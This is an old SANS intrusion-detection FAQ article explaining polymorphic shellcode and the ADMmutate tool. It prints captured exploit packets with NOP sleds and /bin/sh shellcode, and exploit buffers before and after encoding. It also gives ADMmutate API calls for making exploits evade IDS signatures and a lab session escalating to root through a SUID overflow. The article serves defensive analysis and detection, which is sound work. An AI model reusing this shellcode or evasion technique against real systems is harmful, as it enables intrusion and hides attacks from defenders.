2 Days Left to Save $400 on SANS Albuquerque 2014

Intrusion Detection FAQ: What is polymorphic shell code and what can it do?

By: Kyle Haugsness
The primary goal of this analysis is to inform the intrusion detection analyst that “polymorphic shellcode” does exist and may currently be in use by attackers to compromise systems. The second goal is to demonstrate the use of the tool and how it can be integrated into existing or new exploits to change the signature of an exploit as seen by a network IDS.

Fundamentally, there are two approaches to network intrusion detection: signature detection, and anomaly detection. The signature detection approach utilizes well-known signatures for network traffic to identify potentially malicious traffic. This is similar to the approach that most anti-virus products work. The anomaly detection approach utilizes a previous history of network traffic to search for patterns that are abnormal, which would indicate an intrusion. Most commercial intrusion detection systems utilize the signature detection approach for speed, ease of use by the analyst, and minimization of false positives.

Within the signature detection approach, systems typically examine traffic using three methods:
  • Network traffic patterns – A ping from one host to all hosts on a subnet.
  • Protocol analysis – Network traffic that violates the RFCs are suspicious.
  • Signature matching – Network traffic that has certain data payloads are marked as a specific probe or exploit attempt.
These methods have proved to be fairly successful in aiding intrusion detection analysts discover malicious traffic. Unfortunately, the “weak link” in the above methodologies lies with the “signature matching” approach. This approach primarily relies on “string matching” within network traffic. In the interest of performance, IDS systems often look for these “known signatures” at exact places in the data payload of a packet.

As a result, crackers have developed several techniques that allow an attacker to evade such detection. A common trick to evade unsophisticated IDS systems is to obfuscate an HTTP request by using directory “indirection”. For instance, these HTTP GET requests are the same but an IDS system might only alarm on the first request:
  • http://my.domain.com/phf?
  • http://my.domain.com/./phf?
  • http://my.domain.com/dir/../phf?
An example of a program that performs this obfuscation is Whisker by Rain Forest Puppy. However, this tool only obfuscates attacks against web servers.

In early 2001, a new tool was released that allows an attacker to obfuscate any buffer overflow attack against any service. This tool is called ADMmutate and was written by K2. Interestingly, K2 has affiliations with ADM, the group w00w00, and the Honeynet project. The primary purpose of this tool is to change an exploit signature every time that it is executed, resulting in “polymorphic shellcode”.

The remainder of this analysis will briefly introduce the concepts of buffer overflow attacks and then explore the techniques that ADMmutate uses to evade detection. Finally, there will be an analysis of proposed techniques to detect “polymorphic shellcode”.

Background A large number of remote computer intrusions are conducted using a buffer overflow attack. A buffer overflow is a programming error where a program does not perform proper checking on the input that it processes. A simple example is a program that accepts 10 characters for an employee name. If the program doesn’t check the user input, an attacker can enter 20 characters and cause an error in the program. If the program runs with superuser privileges, the attacker may be able to subvert control of the processor. Due to the mechanics of assembly programming, memory allocation, and processor architecture a skilled attacker can overwrite critical portions of the computer memory and control execution of the CPU [1].

Once an attacker has found a privileged program that has a buffer overflow error, they attempt to construct a buffer overflow attack. The construction of a working exploit is not a trivial task and generally requires advanced knowledge of assembly language, processor architecture, and C programming. In simple form, a buffer overflow exploit contains the following components [2]:
  • Processor NOOP/NOP (No Operation) instructions – These allow more leniency in getting the memory addresses exactly correct in an exploit. On the Intel platform the hex value of 0x90 is the most common NOOP instruction, although there may be up to 55 NOOP instructions possible. NOOP instructions are commonly chained together into a NOOP “sled” that advances the processor’s instruction pointer to the place of choice by the attacker.
  • Shellcode instructions – These are the actual assembly commands that give remote access to the attacker. The most common shellcode instruction is to execute a shell (such as /bin/sh). Other common shellcode routines will add a root user account to the system, or perform a reverse telnet back to the attacker’s machine.
  • Return address – This is an attacker-supplied value that overwrites the correct value in the target machine’s computer memory. Getting this value correct is the first step in building a buffer overflow exploit. Typically this value points to the attacker’s NOOP sled, where execution “slides” down to the shellcode.
Here’s an example of a buffer overflow exploit in the wild as seen by a network IDS system. In this case, the Enterasys Dragon IDS captured an attempted LPR exploit against an exposed HP JetDirect printer.

dragon-net1 (External)
SOURCE: 209.58.24.9
DEST: MY.NET.24.151
09:26:01
45 00 01 ce 28 1e 40 00 32 06 96 92 d1 3a 18 09 86 9f 18 97 E..Î(.@.2...Ñ:......
06 38 02 03 6f 54 4f a9 01 af fe 78 50 18 7d 78 76 dd 00 00 .8..oTO©.¯þxP.}xvÝ..
42 42 20 f7 ff bf 21 f7 ff bf 22 f7 ff bf 23 f7 ff bf 58 58 BB ÷ÿ¿!÷ÿ¿"÷ÿ¿#÷ÿ¿XX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25 2e 32 32 XXXXXXXXXXXXXXXX%.22
34 75 25 33 30 30 24 6e 25 2e 32 31 33 75 25 33 30 31 24 6e 4u%300$n%.213u%301$n
73 65 63 75 25 33 30 32 24 6e 25 2e 31 39 32 75 25 33 30 33 secu%302$n%.192u%303
24 6e 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 $n..................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 31 db 31 c9 31 c0 b0 46 cd 80 89 e5 31 d2 b2 66 89 d0 ..1Û1É1À°FÍ..å1Ò²f.Ð
31 c9 89 cb 43 89 5d f8 43 89 5d f4 4b 89 4d fc 8d 4d f4 cd 1É.ËC.]øC.]ôK.Mü.MôÍ
80 31 c9 89 45 f4 43 66 89 5d ec 66 c7 45 ee 0f 27 89 4d f0 .1É.EôCf.]ìfÇEî.'.Mð
8d 45 ec 89 45 f8 c6 45 fc 10 89 d0 8d 4d f4 cd 80 89 d0 43 .Eì.EøÆEü..Ð.MôÍ..ÐC
43 cd 80 89 d0 43 cd 80 89 c3 31 c9 b2 3f 89 d0 cd 80 89 d0 CÍ..ÐCÍ..Ã1ɲ?.ÐÍ..Ð
41 cd 80 eb 18 5e 89 75 08 31 c0 88 46 07 89 45 0c b0 0b 89 AÍ.ë.^.u.1À.F..E.°..
f3 8d 4d 08 8d 55 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 ó.M..U.Í.èãÿÿÿ/bin/s
68 0a h.
EVENT4: [NOOP:X86] (tcp,dp=515,sp=1592)



Above, you can see the NOOP “sled” in the hex output (on the left). The value 0x90 is the most common NOOP instruction for the Intel processor. Many IDS systems will alarm when they see a series of 0x90 bytes in a packet. The second very noticeable aspect of the above exploit attempt is that the string “/bin/sh” is clearly visible in the ASCII decode (on the right). This is part of the “shellcode” of the exploit and is a dead giveaway to the IDS analyst that the attacker is attempting an exploit that launches a command-line shell.

Enter ADMmutate
The ADMmutate tool attempts to obfuscate the detection of the NOOP sled and the shellcode. IDS systems that trigger on the NOOP sled and the shellcode specifics would have a hard time alarming if they were encoded differently prior to sending them to the each target. The construction of such a tool is fundamentally simple – build an encoding engine that wraps the exploit prior to sending it over the network. Then, once the exploit has triggered on the remote machine, jump to the decode engine (that has to be sent with the exploit), decode the real exploit, and execute the original shellcode.

So the obvious answer to defeat this approach is to start looking for the decode engine on the network. However, the decode engine is also polymorphic and looks differently each time the exploit is run. K2 admits to using some tricks of the old virus writers by employing this technique of polymorphism.

Basics of Polymorphic Shellcode
So let’s examine how polymorphic shellcode would be constructed, with a little help from K2’s README file [2]. The typical buffer overflow exploit is constructed as a string of hexadecimal values in the following form:
[NNNN NNNN NNNN][SS SS][RR RR]

N = Represents NOOP instructions, up to 1000 bytes if the application gives enough room
S = Shellcode instructions, usually around 80-200 bytes
R = Return address, usually around 200 bytes
First, the NOOP instructions are replaced with any functional equivalents. K2 states that there are at least 55 suitable replacement NOOP instructions for the Intel architecture. This makes the work in finding the NOOP sled much more difficult for the IDS engine because it has to look more closely and deeply into the packet contents, which negatively impacts performance of the system. Next, the shellcode is encoded using XOR. The value to XOR the shellcode is generated using a “skeleton encoder” that is architecture independent and included in the source distribution. K2 has infused several advanced techniques to make the XOR key unique upon each execution. Finally, the decode engine is built in an effort to avoid analysis and employs several techniques to “modulate” itself by varying the assembly instructions to accomplish the same result in several different ways. Additionally, out-of-order decoding has been implemented to vary the signature of the decoding engine even more.

The tool provides another great feature to exploit writers by eliminating banned characters from the exploit string. For instance, some exploits require that a NULL character cannot be sent in the middle of the exploit or that the entire exploit contain all ASCII characters. ADMmutate accounts for this in the construction of the final exploit and removes all these banned characters.

How to Employ ADMmutate
There are a couple of methods to utilizing the ADMmutate tool. The first approach is to code it into the exploit. K2 has provided an API that allows an exploit writer to integrate polymorphism directly into the exploit code. Here are the relevant lines of code necessary for Intel:
#include "ADMmutapi.h"
struct morphctl *mctlp;
struct morphctl mut;
mut.upper = 0; mut.lower = 0; mut.banned = 0; mctlp = &mut;
mut.arch = IA32;
...
init_mutate(mctlp);
apply_key(buff, strlen(shellcode), nops-1, mctlp);
apply_jnops(buff, nops-1, mut);
apply_engine(buff, strlen(shellcode), nops-1, mut);
...
That doesn’t seem like too much work for the average exploit writer. The next approach is to utilize the included m7 exploit filter. The m7 program accepts shellcode on standard input and will output encoded shellcode. This approach possibly takes a little more skill, but is incredibly functional because existing exploits can be piped into the filter without being re-written.

ADMmutate in Action
There are a couple of sample exploits included in the ADMmutate distribution so I decided to give them a shot in my test lab. My first attempt was to overflow a local SUID program to elevate my privileges from a normal user to root. A simple program called “vulnerable” was included that has a buffer overflow when a command-line argument longer than 1024 bytes is provided. A successful buffer overflow against a SUID root program will provide a root shell to the attacker. Here is the output of this local attack:
slackware-7$ id
uid=1000(joe) gid=100(users) groups=100(users)
slackware-7$ ./vulnerable `./exp`
jmp = [0xbffff822] offset = [-550]
args 2
doing stuffz...
sh-2.03# id
uid=0(root) gid=100(users) groups=100(users)
This was fairly straightforward – “vulnerable” is the SUID program that was passed the output of the “exp” program. Here’s a hexdump output of the buffer overflow string (without polymorphism) that was passed to the “vulnerable” program:

    0000000   9090 9090 9090 9090 9090 9090 9090 9090       ................
    *
    00001f0   9090 9090 22eb 895e 89f3 83f7 07c7 c031       ....."^.......1.
    0000200   89aa 89f9 abf0 fa89 c031 b0ab 0408 cd03       ........1.......
    0000210   3180 89db 40d8 80cd d9e8 ffff 2fff 6962       .1...@......./bi
    0000220   2f6e 6873 f822 bfff f822 bfff f822 bfff       n/sh"..."..."...
    0000230   f822 bfff f822 bfff f822 bfff f822 bfff       "..."..."..."...
    *
    00004a0   f822 bfff f822 bfff f822 bfff 9090 9090       "..."...".......
    00004b0   fa48 bfff                                     H...


In this decode, we find the familiar NOOP (0x90) sled at the beginning of the string. The hexdump program removes repetitive lines and replaces them with a “*” line. So, we actually have 31 lines (500 bytes) of NOOP sled that is represented by one line. Following the NOOP sled, is 48 bytes of shellcode including the exec of /bin/sh. Next comes a repetition of the return address for 26 lines. This format of this exploit is similar to a normal exploit that would be seen attacking a network daemon.

Following is the shellcode for the same attack after it has been encoded with ADMmutate. In this example, we find that the NOOP sled at the beginning has been replaced with substitute NOOP patterns for the Intel 32-bit architecture. Additionally, the shellcode portion of the exploit has been encoded and we don’t find the “/bin/sh” string anywhere. Finally, the return address (which is different for each target) is still repeated to the end of the exploit string.

    0000000   5247 5237 5759 9199 984e 602f 4b58 9555       GR7RYW..N./`XKU.
    0000010   3792 4997 6059 5a5d 979c 9199 9242 9349       .7.IY`]Z....B.I.
    0000020   495e 5b37 4740 5d4f 4f99 975f 4492 3797       ^I7[@GO].O_..D.7
    0000030   4297 9e93 4598 404a 9696 4652 5150 5e4f       .B...EJ@..RFPQO^
    0000040   454d 99fc 5251 5042 9b37 4042 4a95 4459       ME..QRBP7.B@.JYD
    0000050   4592 4998 935f 275f 985d f84e 4991 fc96       .E.I_._'].N..I..
    0000060   9796 4637 5b3f 9751 9754 9f5a 9543 4c9e       ..7F?[Q.T.Z.C..L
    0000070   4740 9c96 499f 5652 934e 5355 479b 91f8       @G...IRVN.US.G..
    0000080   48fc 5d60 4742 9755 4450 4441 4697 5697       .H`]BGU.PDAD.F.V
    0000090   5b52 494f 434d 5899 f827 9957 4346 9796       R[OIMC.X'.W.FC..
    00000a0   404c 4a45 6040 404c 4957 5798 99f9 569b       L@EJ@`L@WI.W...V
    00000b0   4145 96fc 5140 4c56 f946 9348 4f4d f8f8       EA..@QVLF.H.MO..
    00000c0   2f59 4c46 9647 4747 9e48 5137 4142 5b4d       Y/FLG.GGH.7QBAM[
    00000d0   545f 55f9 5e56 4191 9249 519e 559e 6099       _T.UV^.AI..Q.U.`
    00000e0   5a27 5f49 4727 434c 4b51 4495 5b95 2796       'ZI_'GLCQK.D.[.'
    00000f0   9f27 9143 585b 4a56 5497 549f 4f5d 9599       '.C.[XVJ.T.T]O..
    0000100   9f57 9c45 3f92 5991 9b2f 379c 9196 574e       W.E..?.Y/..7..NW
    0000110   275f 5b49 9b42 4152 4897 474b 3f9b 4af9       _'I[B.RA.HKG.?.J
    0000120   4d45 544f 5146 554b 4050 4847 9c49 f54a       EMOTFQKUP@GHI.J.
    0000130   5d9f 5997 4bf5 5e43 6091 4a44 48f9 5357       .].Y.KC^.`DJ.HWS
    0000140   935e 5e49 4297 9f49 4752 4bf5 9f4e 2ff9       ^.I^.BI.RG.KN../
    0000150   434d 4158 5d42 4992 505e f556 4443 60f5       MCXAB].I^PV.CD.`
    0000160   5141 fc45 9860 4e41 9941 9e2f 474d 5a9c       AQE.`.ANA./.MG.Z
    0000170   4452 4352 9749 503f 2f54 9c37 425f 5b9f       RDRCI.?PT/7._B.[
    0000180   4a49 519e 9253 5349 9698 4949 4198 5eeb       IJ.QS.IS..II.A.^
    0000190   3cb0 58f5 8396 55c0 979e c987 c031 9791       .<.X...U....1...
    00001a0   6b3f 37c0 3968 d5be 5b09 4798 c06b b109       ?k.7h9...[.Gk...
    00001b0   4f0d 8390 2ee0 c033 e883 8bef 0906 21d8       .O....3........!
    00001c0   f71e 2116 8306 24f8 83fc 9ec0 4096 f596       ...!...$.....@..
    00001d0   f53f c683 2f01 c883 f8c5 969b 9640 c083       ?..../......@...
    00001e0   3302 96c0 9640 e883 e256 90d0 06eb a0e8       .3..@...V.......
    00001f0   ffff a9ff f755 b057 5c4d bafe d279 f938       ....U.W.M\..y.8.
    0000200   5c14 b0f0 7e4e c380 158f 89a2 d1b6 f40a       .\..N~..........
    0000210   e43e b0d2 9566 b9c4 0c56 c6f6 fa41 506b       >...f...V...A.kP
    0000220   fad0 517a 2d9c bff6 f822 bfff f822 bfff       ..zQ.-.."..."...
    0000230   f822 bfff f822 bfff f822 bfff f822 bfff       "..."..."..."...
    *
    00004a0   f822 bfff f822 bfff f822 bfff 9090 9090       "..."...".......
    00004b0   fa48 bfff 4111                                H....A


The above string changed significantly each time the program was run. The NOOP sled, encoded shellcode, and the decode engine varied considerable upon each execution. Thus, the polymorphic aspects of the code seemed to be working. Additionally, the tool provided a success rate of 75% when polymorphism was enabled. This is pretty good, considering the fact that the shellcode was written for a newer Linux kernel than I was running.

Next, I attempted to exploit a remote program so that the network traffic could be observed. Unfortunately, I didn’t have much luck in successfully exploiting a daemon remotely. The ADMmutate distribution includes a remote overflow for a fairly old QPOP daemon (2.4b2), which I couldn’t find available for download anywhere.

The distribution also includes a mutated-capable version of the public LSD exploit for the Solaris snmpXdmi (SPARC Solaris 7 and 8). So I setup my lab with the latest version of Snort, TCPdump, and an evaluation version of Enterasys Dragon to see how the IDS systems would react. Unfortunately, the exploit didn’t quite work for me despite several hours of trial and error. However, the exploit attempt did work without being run in polymorphic mode. My best guess is that the polymorphic version actually completed 100% on the remote side. But for some reason the connection was getting closed on the remote side before delivering the shell to my console. The amount of data transferred during both exploits confirms this hypothesis.

Snort detected both intrusion attempts (with and without polymorphism), even though the polymorphism attempt didn’t provide a root shell. This is probably because Snort is alerting on an RPC parameter, instead of a component of the actual shell-code. Here was the alert from Snort:
[**] [1:569:2] RPC snmpXdmi overflow attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
01/19-17:52:23.700069 MY.NET.24.20:33651 -> MY.NET.24.19:32780
TCP TTL:64 TOS:0x0 ID:33776 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xCD4670F6 Ack: 0x25B6BB8 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 2093852 9673
[Xref => http://www.securityfocus.com/bid/2417]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236]
The evaluation version of Dragon that I was using didn’t have a signature for the snmpXdmi exploit and therefore wasn’t able to detect the specific exploit. However, it did alarm just after the exploit was completed, because the exploit code issued a “uname –a” command upon opening the root shell. The “uname –a” command on a high port is a signature in Dragon and generated the following alert:

dragon-net1 (Internal)
SOURCE: MY.NET.24.20
DEST: MY.NET.24.19
17:53:21
45 00 00 42 85 68 40 00 40 06 77 e8 86 9f 18 14 86 9f 18 13 E..B.h@.@.wè........
83 73 80 0c cd 4e 5c 8e 02 5b 6b b8 80 18 16 d0 1f b4 00 00 .s..ÍN\..[k¸...Ð.´..
01 01 08 0a 00 20 09 8d 00 00 38 5c 2f 62 69 6e 2f 75 6e 61 ..... ....8\/bin/una
6d 65 20 2d 61 0a me -a.
EVENT1: [HIPORT:SHELL-UNAME] (tcp,dp=32780,sp=33651)


My goal was to demonstrate that buffer overflow exploits could be successfully hidden from IDS systems that do signature matching against specific strings found in exploits. Unfortunately, my skill in assembly and C programming is limited and I wasn’t able to determine where the demonstrations where going wrong. However, the examination of the shellcode mutations for the local exploit shows that the NOOP sled and shellcode signatures do change greatly with ADMmutate.

As a consolation to the reader, K2 presented this tool at Defcon 9 in July 2001. I was present at this talk where he showed a successful exploit with and without polymorphism. The network IDS that he successfully evaded was the latest version (at the time) of ISS RealSecure. Before mutation, RealSecure successfully alarmed when it saw the exploit. But after mutation, RealSecure did not alarm.

Detecting ADMmutate
Given all the efforts to remain stealthy, can an exploit encoded with ADMmutate be reliably detected? The best approaches for detection seem to be in looking for the NOOP sled and looking for the decode engine.

Since there are a limited number of NOOP substitutions that can occur for a specific architecture, there is a chance in detecting a pattern in the NOOP sled. Here is K2’s response to this possibility from the README file:
Some will say that in a 1K overflow where approx 700bytes represents a 55/256 selection of possible codes, this could be a means for detection. However, I do not believe an IDS could do this very effectively, IA32 instructions are variable length (1->16bytes) and it is not a simple matter of doing byte-per-byte analysis of the code they will have to decode the stream (bitwise), and thanks to CISC encodings there are many branch's in this logic, leading to increased processing overhead in the detection process. [2]
The Snort folks feel that the SPADE statistical anomaly detection engine can flush out some attacks encoded with ADMmutate. Here is an excerpt from the Snort FAQ [3]:
1.10 --faq-- --snort--
Q: I've heard it is possible to use polymorphic mutators on shellcode?

A: Yes, and this could defeat some of the NOP sled detection signatures    but the ordinary exploit rules should not be affected by this kind
   of obfuscation. The SPACE [sic, should be SPADE] statistical anomaly    detector may detect some of these attacks. A number of other
   defenses are being worked on and should be ready by 2.0.
Unfortunately, the source code for 2.0 isn’t released yet so it’s difficult to tell what types of defenses are being worked on. The folks at Dragon are also working on detection of polymorphic shell code. I had an e-mail exchange with Ron Gula, the original founder of Network Security Wizards (now part of Enterasys). Ron stated that Dragon 5.1 has 50 updated shellcode signatures that have been alarming on exploits that have been “mutated”. Additionally, they are having some success in detecting the obfuscated NOOP sled.

Next Generation Security Technologies recently announced the availability of a product to detect and eliminate buffer overflow attacks against web servers. The company published a white paper entitled “Polymorphic Shellcodes vs. Application IDSs" [4]. The product they have developed seems to be an application-level gateway that inspects traffic destined to web servers. Content that is known to be malicious and content that appears like polymorphic shellcode will not be forwarded to back-end servers. The technique utilized by this program to detect polymorphic shellcode is to look at approximately 50-60 bytes of traffic and determine if it sees a mutated NOOP sled. Since this is a version 1.0 release, the community has yet to evaluate it for its merits.
As demonstrated by the fairly slow movement of IDS vendors, the problem is fairly difficult to solve and requires lots of CPU cycles. These CPU cycles are a valuable resource to IDS systems that are trying to keep up with fast networks. Overall, I think it will take a little more time for commercial IDS solutions to be able to reliably detect polymorphic shell code, although it seems like some are making good strides in this direction.

Final Thoughts on ADMmutate
ADMmutate is a powerful tool and appears to be reasonably easy to integrate into older exploits and new exploits in development. Any developer that is able to write an exploit from the ground up should be able to make it polymorphic, using the API. The tool has been written with stealth in mind and appears to operate as advertised. Shellcode was indeed obfuscated in the tests that I was able to perform. However, the IDS vendors are working on a solution to detect this tool and may have greater success in the next major releases of their software. Unfortunately the only protection against this attack is to ensure that your hosts are not vulnerable to the buffer overflow attack in the first place.

The primary goal of this analysis was to inform the intrusion detection analyst that polymorphic shellcode does exist and may currently be in use by attackers. The second goal was to demonstrate the use of the tool and how it can be integrated into existing or new exploits to change the signature of an exploit as seen by a network IDS.

So the next time that you see a suspicious detect but don’t find the telltale “/bin/sh” string, you should take a closer look at the context of the attack. Are there recent vulnerabilities against the service being attacked? Was the service probed previously? How much data was sent to the target host? These questions may be your only guide in determining whether the service was successfully exploited.

References
[1] Aleph1. Smashing the Stack For Fun and Profit. Phrack Magazine. Volume 49, File 14 of 16. Nov 1996. URL: http://www.phrack.com/phrack/49/P49-14 (Jan 2002)

[2] K2. ADMmutate README. ADMmutate source code distribution. Version 0.8.4. URL: http://www.ktwo.ca/c/ADMmutate-0.8.4.tar.gz (Jan 2002)

[3] Roesch, Martin. Snort FAQ. Snort source code distribution. Version 1.8.3. URL: http://www.snort.org/releases/snort-1.8.3.tar.gz (Jan 2002)

[4] Next Generation Security Technologies. "Polymorphic Shellcodes vs. Application IDSs." 21 Jan 2002. URL: http://www.ngsec.com/docs/polymorphic_shellcodes_vs_app_IDSs.PDF (Jan 2002)